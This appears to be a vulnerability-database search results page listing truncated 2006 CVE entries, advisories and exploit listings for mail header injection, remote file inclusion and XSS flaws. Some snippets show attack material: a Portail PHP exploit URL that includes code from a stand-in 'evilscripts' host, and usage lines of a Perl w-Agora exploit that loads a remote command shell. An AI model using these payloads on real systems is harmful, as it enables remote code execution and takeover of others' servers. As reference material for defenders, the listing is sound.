947 matches found
CVE-2006-4344
CRLF injection vulnerability in CGI-Rescue Mail F/W System formd before 8.3 allows remote attackers to spoof e-mails and inject e-mail headers via unspecified vectors in 1 mail.cgi and 2 query.cgi...
[SA21543] mail f/w system Mail Header Injection Vulnerability
---------------------------------------------------------------------- Hardcore Disassembler / Reverse Engineer Wanted! Want to work with IDA and BinDiff? Want to write PoC's and Exploits? Your nationality is not important. We will get you a work permit, find an apartment, and offer a relocation...
portailphp17.txt
Portail PHP v1.7 - chemin Remote Inclusion Vulnerability Author: C-W-M www.meftunnet.com TURKEI script: Portail PHP Class : Remote cont@ct: meftunatmeftunnetdotcom CODE: include "$chemin/include/config.php" Exploit: http://www.site.com/path/modmembre/inscription.php?chemin=http://evilscripts? Tha...
Zyxel660H-61.txt
Zyxel Prestige 660H-61 Cross-Site Scripting Tested on Zyxel Prestige 660H-61 ZyNOS F/W Version: V3.40PT.0b32 | 1/28/2005 Standard:NORMAL Discovered by: José Ramón Palanco: jose.palancoateazeldot.es http://www.eazel.es Description: Zyxel Prestige 660H-61 ADSL Router is vulnerable to a security...
Zyxel Prestige 660H-61 Cross-Site Scripting
Zyxel Prestige 660H-61 Cross-Site Scripting Tested on Zyxel Prestige 660H-61 ZyNOS F/W Version: V3.40PT.0b32 | 1/28/2005 Standard:NORMAL Discovered by: Josй Ramуn Palanco: jose.palancoateazeldot.es http://www.eazel.es Description: Zyxel Prestige 660H-61 ADSL Router is vulnerable to a security...
Echo Security Advisory 2006.34
ECHO.OR.ID ECHOADV34$2006 --------------------------------------------------------------------------------------------------- ECHOADV34$2006 W-Agora Web-Agora = 4.2.0 incdir Remote File Inclusion ---------------------------------------------------------------------------------------------------...
[ECHO_ADV_34$2006] W-Agora (Web-Agora) <= 4.2.0 (inc_dir) Remote File Inclusion
ECHO.OR.ID ECHOADV34$2006 --------------------------------------------------------------------------------------------------- ECHOADV34$2006 W-Agora Web-Agora = 4.2.0 incdir Remote File Inclusion ---------------------------------------------------------------------------------------------------...
w-Agora inc_dir Parameter Remote File Inclusion
The remote host is running w-Agora, a web-based forum software written in PHP. The version of w-Agora installed on the remote host fails to sanitize input to the 'incdir' parameter before using it in several scripts to include PHP code. Provided PHP's 'registerglobals' setting is disabled, an...
w-Agora 4.2.0 - inc_dir Remote File Inclusion
w-Agora 4.2.0 - incdir Remote File Inclusion !/usr/bin/perl W-Agora perl wagora.pl http://target.com/w-agora/ http://target.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd;...
w-Agora <= 4.2.0 (inc_dir) Remote File Include Exploit
Exploit for unknown platform in category web applications ====================================================== w-Agora perl wagora.pl http://target.com/w-agora/ http://target.com/cmd.txt cmd cmd shell example: cmd shell variable: $GETcmd;...
w-Agora <= 4.2.0 (inc_dir) Remote File Include Exploit
No description provided by source. !/usr/bin/perl W-Agora = 4.2.0 incdir Remote File Inclusion Exploit Bug Found & code By dedi.dwianto aka theday base on advisory at http://advisories.echo.or.id/adv/adv34-theday-2006.txt www.echo.or.id c 2006 usage: perl wagora.pl target cmd shell location cmd...
CVE-2006-3036
Multiple cross-site scripting XSS vulnerabilities in 35mmslidegallery 6.0 allow remote attackers to inject arbitrary web script or HTML via the 1 imgdir parameter in a index.php, and the 2 w, 3 h, and 4 t parameters in b popup.php...
Cross site scripting
Cross-site scripting XSS vulnerability in superalbum/index.php in Photoalbum B&W 1.3 allows remote attackers to inject arbitrary web script or HTML via the pic parameter...
Cross site scripting
Cross-site scripting XSS vulnerability in superalbum/index.php in Photoalbum B&W 1.3 allows remote attackers to inject arbitrary web script or HTML via the gal parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...
CVE-2006-2729
Cross-site scripting XSS vulnerability in superalbum/index.php in Photoalbum B&W 1.3 allows remote attackers to inject arbitrary web script or HTML via the gal parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...
CVE-2006-2728
Cross-site scripting XSS vulnerability in superalbum/index.php in Photoalbum B&W 1.3 allows remote attackers to inject arbitrary web script or HTML via the pic parameter...
CVE-2006-2728
CVE-2006-2728 is an XSS flaw in Photoalbum B&W 1.3, specifically in the file superalbum/index.php. The vulnerability arises when an attacker supplies a crafted value for the pic parameter, enabling the injection of arbitrary web script or HTML. Documents identify the affected component but do not...
CVE-2006-2729
The CVE-2006-2729 entry details a cross-site scripting (XSS) vulnerability in the Photoalbum B&W 1.3 package, specifically in the file as superalbum/index.php, where the gal parameter can be abused to inject arbitrary script or HTML. The affected component is the web application’s index handler ...
CVE-2006-2728
Cross-site scripting XSS vulnerability in superalbum/index.php in Photoalbum B&W 1.3 allows remote attackers to inject arbitrary web script or HTML via the pic parameter...
CVE-2006-2729
Cross-site scripting XSS vulnerability in superalbum/index.php in Photoalbum B&W 1.3 allows remote attackers to inject arbitrary web script or HTML via the gal parameter. NOTE: the provenance of this information is unknown; the details are obtained solely from third party information...